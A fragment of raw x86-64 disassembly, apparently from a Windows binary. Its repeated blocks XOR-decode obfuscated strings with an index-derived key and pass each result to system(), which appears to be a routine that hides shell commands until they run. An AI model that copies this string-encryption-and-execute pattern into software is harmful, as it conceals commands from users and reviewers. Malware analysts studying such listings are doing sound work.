pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400556b0
cmp r8d, 0x9f
jge 0x1400557e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x1400557b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x46], al
lea rdx, [rbp + 0x9013]
lea rcx, [rbp + 0x46]
call fcn.14006d1d0
mov r10, rax
cmp byte [rax + 0xac], 0
je 0x140055963
mov r8d, r14d
cmp r12d, 2
jl 0x140055927
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140055830
cmp r8d, 0xad
jge 0x140055963
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x140055930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x47], al
lea rdx, [rbp + 0x6680]
lea rcx, [rbp + 0x47]
call fcn.14006d260
mov r10, rax
cmp byte [rax + 0x80], 0
je 0x140055ae3
mov r8d, r14d
cmp r12d, 2
jl 0x140055aa7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x1400559b0
cmp r8d, 0x81
jge 0x140055ae3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x140055ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x48], al
lea rdx, [rbp + 0x6fa9]
lea rcx, [rbp + 0x48]
call fcn.14006d2d0
mov r10, rax
cmp byte [rax + 0x93], 0
je 0x140055c63
mov r8d, r14d
cmp r12d, 2
jl 0x140055c27
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140055b30
cmp r8d, 0x94
jge 0x140055c63
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x140055c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x49], al
lea rdx, [rbp + 0x6886]
lea rcx, [rbp + 0x49]
call fcn.14006d350
mov r10, rax
cmp byte [rax + 0x83], 0
je 0x140055de3
mov r8d, r14d
cmp r12d, 2
jl 0x140055da7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140055cb0
cmp r8d, 0x84
jge 0x140055de3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x140055db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4a], al
lea rdx, [rbp + 0x62fd]
lea rcx, [rbp + 0x4a]
call fcn.14006d3c0
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140055f60
mov r8d, r14d
cmp r12d, 2
jl 0x140055f21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140055e30
cmp r8d, 0x7d
jge 0x140055f60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140055f30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4b], al
lea rdx, [rbp + 0x5dba]
lea rcx, [rbp + 0x4b]
call fcn.14006d430
mov r10, rax
cmp byte [rax + 0x78], 0
je 0x1400560e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400560a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140055fb0
cmp r8d, 0x79
jge 0x1400560e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x1400560b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4c], al
lea rdx, [rbp + 0x6990]
lea rcx, [rbp + 0x4c]
call fcn.14006d4a0
mov r10, rax
cmp byte [rax + 0x87], 0
je 0x140056263
cmp r12d, 2
jl 0x14005621e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140056130
jmp 0x140056263
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140056230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4d], al
lea rdx, [rbp + 0x6df0]
lea rcx, [rbp + 0x4d]
call fcn.14006d510
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x1400563e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400563a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400562b0
cmp r8d, 0x93
jge 0x1400563e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x1400563b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4e], al
lea rdx, [rbp + 0x7a45]
lea rcx, [rbp + 0x4e]
call fcn.14006d5a0
mov r10, rax
cmp byte [rax + 0x99], 0
je 0x140056563
mov r8d, r14d
cmp r12d, 2
jl 0x140056527
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140056430
cmp r8d, 0x9a
jge 0x140056563
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x140056530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x4f], al
lea rdx, [rbp + 0x95bd]
lea rcx, [rbp + 0x4f]
call fcn.14006d630
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x1400566e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400566a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x1400565b0
cmp r8d, 0xc2
jge 0x1400566e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x1400566b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x50], al
lea rdx, [rbp + 0x967f]
lea rcx, [rbp + 0x50]
call fcn.14006d6c0
mov r10, rax
cmp byte [rax + 0xc1], 0
je 0x140056863
mov r8d, r14d
cmp r12d, 2
jl 0x140056827
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140056730
cmp r8d, 0xc2
jge 0x140056863
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140056830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x51], al
lea rdx, [rbp + 0x92d3]
lea rcx, [rbp + 0x51]
call fcn.14006d750
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x1400569e3
cmp r12d, 2
jl 0x14005699e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x1400568b0
jmp 0x1400569e3
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
